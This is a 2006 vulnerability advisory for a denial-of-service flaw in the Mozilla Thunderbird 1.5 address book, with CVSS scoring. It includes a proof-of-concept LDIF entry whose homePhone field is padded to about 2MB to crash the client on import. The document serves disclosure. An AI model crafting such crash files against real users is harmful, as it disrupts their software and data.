Mozila Thunderbird 1.5 Address Book DoS

2006.02.22
Credit: Javor Ninov
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Affected: Mozila Thunderbird 1.5 /possibly other versions/ Mozila Thunderbird 1.5 address book allows fields of unlimited size in the address book which leads to a DoS if you import such ldif file POC: create a file.ldif and insert following then import it in address book: ------- start -------- n: cn=Test POC by DrFrancky (at) securax (dot) org [email concealed],mail=drfrancky (at) securax (dot) org [email concealed] objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson objectclass: mozillaAbPersonAlpha givenName: Test sn: POC by DrFrancky (at) securax (dot) org [email concealed] cn: POC by DrFrancky (at) securax (dot) org [email concealed] mozillaNickname: DrFrancky mail: drfrancky (at) securax (dot) org [email concealed] nsAIMid: DrFrancky POC modifytimestamp: 0Z homePhone: aaaaaaaaaaaaaaa[2MB of 'a'] --------- end --------- Credits: DrFrancky drfrancky (at) securax (dot) org [email concealed] -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) iD8DBQFD+zuqck4kcwaj+YIRAn9TAJ949Y6WgjeGoLad8Mf8s93/2LsecQCePp0d tV73zcRn+T+fOoopawrz8YA= =nt+S -----END PGP SIGNATURE-----


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